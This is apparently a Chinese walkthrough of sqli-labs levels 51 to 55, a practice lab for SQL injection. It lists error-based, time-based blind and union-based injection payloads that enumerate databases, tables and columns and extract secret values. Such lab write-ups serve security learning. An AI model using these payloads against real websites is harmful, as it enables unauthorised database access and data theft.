less-51
1.判断注入点
?sort=1' 加上单引号会引起报错

2.判断闭合方式
?sort=1'--+ 可以闭合成功

3.查询数据库名
使用报错注入查询
?sort=1' and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表
?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段
?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-52
1.判断注入点
正常页面

错误页面?sort=1' --+ 说明存在注入

2.判断数据库长度
?sort=1 and if(length(database())>7,sleep(3),1) --+ 发现页面有延迟

?sort=1 and if(length(database())>8,sleep(3),1) --+ 发现页面没有延迟 说明数据库长度=8
3.查询数据库名
?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1),页面延时三秒

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1),页面没有延迟 说明第一位字符的ASCII码=115 也就是s

以此类推 可以得出数据库名为security
less-53
这一关同第52关一样 都是使用时间盲注 唯一的区别是这一关闭合方式是单引号闭合
less-54
1.判断注入点
?id=1' 页面显示不正常

2.判断闭合方式
?id=1'--+ 闭合成功

3.判断页面回显点
?id=-1' union select 1,2,3--+

4.查询数据库名
?id=-1' union select 1,database(),3--+

5.查询数据库的所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+

4.查询表的所有字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='jqwz3m0yo4'),3--+

6.查询表的所有内容
?id=-1' union select 1,2,(select group_concat(id,'/',sessid,'/',secret_C0NE,'/',tryy) from jqwz3m0yo4)--+

选择secret_c0ne的内容提交即可
less-55
1.判断闭合方式
?id=1) --+ 发现是括号闭合

2.查看页面回显点
?id=-1) union select 1,2,3--+

3.查询数据库
?id=-1) union select 1,database(),3--+

4.查询数据库的所有表
?id=-1) union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3--+

5.查询表的所有字段
?id=-1) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='nqnk5uf9gb')--+

6.查询表的所有内容
?id=-1) union select 1,2,(select group_concat(secret_OTNI) from nqnk5uf9gb)--+






![[C语言]第八节 数组一基础知识到高级技巧的全景探索](https://i-blog.csdnimg.cn/direct/0f6f385124d4440196ff48a284e381a6.png)













